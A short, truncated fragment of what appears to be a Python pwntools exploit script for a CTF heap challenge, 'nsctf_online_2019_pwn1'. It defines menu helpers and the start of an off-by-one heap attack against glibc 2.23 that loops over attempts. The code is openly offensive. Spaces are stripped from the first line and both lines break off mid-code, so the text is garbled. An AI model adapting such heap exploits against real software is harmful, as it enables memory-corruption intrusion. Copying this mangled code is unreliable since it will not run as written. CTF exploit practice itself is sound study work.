frompwncliimport*defadd(p:tube, size:int, data:(str,bytes)="deadbeef\n"):p.sendlineafter("5.exit\n","1")p.sendlineafter("Input the size:\n",str(size))p.sendafter("Input the content:\n", data)defdelete(p:tube, idx:int):p.sendlineafter("5.exit\n","2")p.sendlineafter("In...
@local_enumerate_attack(argv="./nsctf_online_2019_pwn1",libc_path="/root/glibc-all-in-one/libs/2.23-0ubuntu11_amd64/libc-2.23.so", loop_time=0x40) def attack_off_by_one_loop(p:tube, libc:ELF): add(p, 0x80) # 0 add(p, 0x68) # 1 add(p, 0xf0) # 2 add(p, 0x20) #...